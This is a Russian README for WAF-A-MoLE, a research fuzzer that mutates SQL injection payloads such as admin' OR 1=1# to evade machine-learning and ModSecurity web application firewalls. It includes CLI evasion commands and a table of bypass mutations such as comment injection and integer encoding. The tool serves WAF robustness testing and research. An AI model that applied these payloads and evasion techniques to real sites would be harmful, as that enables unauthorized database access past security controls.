
Управляемый фаззер на основе мутаций для межсетевых экранов веб-приложений на основе машинного обучения
Направляемый мутационный фаззер для ML-основанных межсетевых экранов веб-приложений (WAF), вдохновлённый AFL и основанный на FuzzingBook Андреаса Целлера и соавторов.
Принимая на вход SQL-инъекционный запрос, он пытается сгенерировать семантически инвариантный запрос, способный обойти целевой WAF. Этот инструмент можно использовать для оценки устойчивости вашего продукта, позволяя WAF-A-MoLE исследовать пространство решений и находить опасные «слепые зоны», не покрытые целевым классификатором.

WAF-A-MoLE берёт начальную нагрузку и помещает её в пул нагрузок Pool, который управляет очередью с приоритетом, упорядоченной по оценке уверенности WAF в каждой нагрузке.
На каждой итерации начало пула нагрузок передаётся Fuzzer, где оно случайным образом мутируется путём применения одного из доступных операторов мутации.
Операторы мутации все сохраняют семантику и используют высокую выразительную силу языка SQL (в этой версии — MySQL).
Ниже приведены операторы мутации, доступные в текущей версии WAF-A-MoLE.
WAF-A-MoLE реализует методологию, представленную в статье «WAF-A-MoLE: Evading Web Application Firewalls through Adversarial Machine Learning». Препринт нашей статьи также доступен на arXiv.
Если вы хотите сослаться на нас, используйте следующую ссылку (BibTeX):
@inproceedings{demetrio20wafamole,
title={WAF-A-MoLE: evading web application firewalls through adversarial machine learning},
author={Demetrio, Luca and Valenza, Andrea and Costa, Gabriele and Lagorio, Giovanni},
booktitle={Proceedings of the 35th Annual ACM Symposium on Applied Computing},
pages={1745--1752},
year={2020}
}
pip install -r requirements.txt
Вы можете оценить устойчивость собственного WAF или опробовать WAF-A-MoLE на некоторых примерах классификаторов. В первом случае ознакомьтесь с классом Model. Ваша пользовательская модель должна реализовывать этот класс, чтобы WAF-A-MoLE мог её оценить. Мы уже предоставили обёртки для классификаторов sci-kit learn и keras, которые можно расширить для соответствия вашему этапу извлечения признаков (если таковой имеется).
wafamole --help
Usage: wafamole [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
evade Launch WAF-A-MoLE against a target classifier.
wafamole evade --help
Usage: wafamole evade [OPTIONS] MODEL_PATH PAYLOAD
Launch WAF-A-MoLE against a target classifier.
Options:
-T, --model-type TEXT Type of classifier to load
-t, --timeout INTEGER Timeout when evading the model
-r, --max-rounds INTEGER Maximum number of fuzzing rounds
-s, --round-size INTEGER Fuzzing step size for each round (parallel fuzzing
steps)
--threshold FLOAT Classification threshold of the target WAF [0.5]
--random-engine TEXT Use random transformations instead of evolution
engine. Set the number of trials
--output-path TEXT Location were to save the results of the random
engine. NOT USED WITH REGULAR EVOLUTION ENGINE
--help Show this message and exit.
Мы предоставляем несколько предварительно обученных моделей, с которыми можно поиграть; они находятся в wafamole/models/custom/example_models. Использованные классификаторы перечислены в таблице ниже.
В дополнение к ML-основанным WAF, WAF-a-MoLE также поддерживает WAF на основе правил. В частности, предоставляется обёртка для WAF ModSecurity, оснащённого OWASP Core Rule Set (CRS), на основе проекта pymodsecurity.
Обход предварительно обученного классификатора WAF-Brain с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type waf-brain wafamole/models/custom/example_models/waf-brain.h5 "admin' OR 1=1#"
Обход предварительно обученного классификатора ML-Based-WAF SVM с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора ML-Based-WAF SVM с использованием эквивалента admin' OR 1=1#. Обратите внимание: SQLiV5 — это набор данных, полученный из Kaggle и дополненный серией запросов, сгенерированных самим WAF-A-MoLE, в качестве доказательства концепции того, что запросы WAF-A-MoLE могут повысить устойчивость WAF при повторном обучении. Используйте mlbasedwaf_svc_sqliv3.dump для обхода WAF, обученного на оригинальном наборе данных Kaggle (SQLiV3).
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc_sqliv5.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора ML-Based-WAF SGD с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_sgd.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора ML-Based-WAF AdaBoost с использованием эквивалента admin' OR 1=1# (занимает больше времени, чем другие модели, около 2–5 минут работы).
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_ada.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора Token-based Naive Bayes с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/naive_bayes_trained.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора Token-based Random Forest с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/random_forest_trained.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора Token-based Linear SVM с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/lin_svm_trained.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора Token-based Gaussian SVM с использованием эквивалента admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/gauss_svm_trained.dump "admin' OR 1=1#"
Обход предварительно обученного классификатора SQLiGOT с использованием эквивалента admin' OR 1=1#.
Используйте DP, UP, DU или UU для (соответственно) Directed Proportional, Undirected Proportional, Directed Unproportional и Undirected Unproportional.
wafamole evade --model-type DP wafamole/models/custom/example_models/graph_directed_proportional_sqligot "admin' OR 1=1#"
Обход OWASP ModSecurity CRS с использованием эквивалента admin' OR 1=1#.
Пользователь также должен указать Уровень паранойи, а также путь к правилам CRS (например, /etc/coreruleset).
wafamole evade --model-type modsecurity_pl[1-4] /etc/coreruleset "admin' OR 1=1#"
ПЕРЕД ЗАПУСКОМ ОЦЕНКИ НА SQLiGoT
Эти классификаторы более устойчивы, чем остальные, так как этап извлечения признаков порождает векторы более сложной структуры, и все предварительно обученные классификаторы были сильно регуляризированы. Для некоторых вариантов может потребоваться несколько часов, чтобы получить нагрузку, обеспечивающую обход (см. раздел «Бенчмарк»).
Примечание о новых моделях ML-Based-WAF
Недавно были добавлены некоторые модели, основанные на слегка модифицированной версии ML-Based-WAF от vladan-stojnic, из расширения WAF-A-MoLE под названием wafamole++ от nidnogg. Тестирование модели AdaBoost может занять больше времени, чем обычно (обычно от 2 до 5 минут).
Существуют варианты, обученные на наборе данных SQLiV5.json, в то время как большинство по умолчанию используют оригинальные SQL-инъекции из набора данных WAF-A-MoLE.
Предоставляется блокнот Google Colaboratory с процедурами обучения для некоторых из этих моделей, использующими оригинальный набор данных WAF-A-MoLE (изменённый до формата SQLiV5). Можно использовать любой набор данных, если он имеет тот же формат, что и SQLiV5.json.
Сначала создайте пользовательский класс Model, реализующий методы extract_features и classify.
class YourCustomModel(Model):
def extract_features(self, value: str):
# TODO: извлечение признаков
feature_vector = your_custom_feature_function(value)
return feature_vector
def classify(self, value):
# TODO: вычисление уверенности
confidence = your_confidence_eval(value)
return confidence
Затем создайте объект модели и экземпляр объекта engine, использующий ваш класс модели.
model = YourCustomModel() #ваша инициализация
engine = EvasionEngine(model)
result = engine.evaluate(payload, max_rounds, round_size, timeout, threshold)
Мы оценили WAF-A-MoLE против всех наших примеров моделей.
График ниже показывает время, которое потребовалось WAF-A-MoLE для мутации нагрузки admin' OR 1=1# до тех пор, пока она не была принята каждым классификатором как «безвредная».
По оси x отложено время (в секундах, логарифмическая шкала). По оси y отложено значение уверенности, т.е. насколько классификатор уверен, что данная нагрузка является SQL-инъекцией (в процентах).
Обратите внимание, что уверенность «50%» в том, что нагрузка является SQL-инъекцией, эквивалентна подбрасыванию монеты. Это обычный порог классификации: если уверенность ниже, нагрузка классифицируется как безвредная.

Эксперименты выполнялись на DigitalOcean Standard Droplets.
Приветствуются вопросы, сообщения об ошибках и запросы на слияние (pull requests).
В частности, если вы заинтересованы в расширении этого проекта, мы приветствуем следующие вклады:
| Мутация | Пример |
|---|
| Case Swapping | admin' OR 1=1# ⇒ admin' oR 1=1# |
| Whitespace Substitution | admin' OR 1=1# ⇒ admin'\t\rOR\n1=1# |
| Comment Injection | admin' OR 1=1# ⇒ admin'/**/OR 1=1# |
| Comment Rewriting | admin'/**/OR 1=1# ⇒ admin'/*xyz*/OR 1=1#abc |
| Integer Encoding | admin' OR 1=1# ⇒ admin' OR 0x1=(SELECT 1)# |
| Operator Swapping | admin' OR 1=1# ⇒ admin' OR 1 LIKE 1# |
| Logical Invariant | admin' OR 1=1# ⇒ admin' OR 1=1 AND 0<1# |
| Number Shuffling | admin' OR 1=1# ⇒ admin' OR 2=2# |
| Название классификатора | Алгоритм |
|---|
| WafBrain | Recurrent Neural Network |
| ML-Based-WAF | Non-Linear SVM |
| ML-Based-WAF | Stochastic Gradient Descent |
| ML-Based-WAF | AdaBoost |
| Token-based | Naive Bayes |
| Token-based | Random Forest |
| Token-based | Linear SVM |
| Token-based | Gaussian SVM |
| SQLiGoT - Directed Proportional | Gaussian SVM |
| SQLiGoT - Directed Unproportional | Gaussian SVM |
| SQLiGoT - Undirected Proportional | Gaussian SVM |
| SQLiGoT - Undirected Unproportional | Gaussian SVM |